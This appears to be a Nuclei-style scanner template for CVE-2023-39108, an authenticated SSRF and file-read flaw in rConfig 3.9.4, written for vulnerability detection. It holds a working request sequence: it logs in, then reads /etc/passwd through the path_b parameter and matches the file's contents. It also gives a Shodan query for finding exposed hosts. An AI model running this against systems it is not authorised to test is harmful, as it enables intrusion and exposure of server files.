59 lines
1.6 KiB
YAML
59 lines
1.6 KiB
YAML
|
id: CVE-2023-39108
|
||
|
|
||
|
info:
|
||
|
name: rConfig 3.9.4 - Server-Side Request Forgery
|
||
|
author: theamanrawat
|
||
|
severity: high
|
||
|
description: |
|
||
|
rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path_b parameter in the doDiff Function of /classes/compareClass.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.
|
||
|
reference:
|
||
|
- https://www.rconfig.com/downloads/rconfig-3.9.4.zip
|
||
|
- https://github.com/zer0yu/CVE_Request/blob/master/rConfig/rConfig_path_b.md
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-39108
|
||
|
classification:
|
||
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||
|
cvss-score: 8.8
|
||
|
cve-id: CVE-2023-39108
|
||
|
cwe-id: CWE-918
|
||
|
metadata:
|
||
|
max-request: 1
|
||
|
verified: true
|
||
|
shodan-query: http.title:"rConfig"
|
||
|
tags: cve,cve2023,rconfig,authenticated,ssrf,lfr
|
||
|
|
||
|
http:
|
||
|
- raw:
|
||
|
- |
|
||
|
GET /login.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
|
||
|
- |
|
||
|
POST /lib/crud/userprocess.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
||
|
user={{username}}&pass={{password}}&sublogin=1
|
||
|
|
||
|
- |
|
||
|
GET /lib/crud/configcompare.crud.php?path_b=file:///etc/passwd HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
|
||
|
cookie-reuse: true
|
||
|
host-redirects: true
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
part: body_1
|
||
|
words:
|
||
|
- "rConfig"
|
||
|
|
||
|
- type: regex
|
||
|
part: body_3
|
||
|
regex:
|
||
|
- "root:.*:0:0:"
|
||
|
|
||
|
- type: status
|
||
|
part: header_3
|
||
|
status:
|
||
|
- 200
|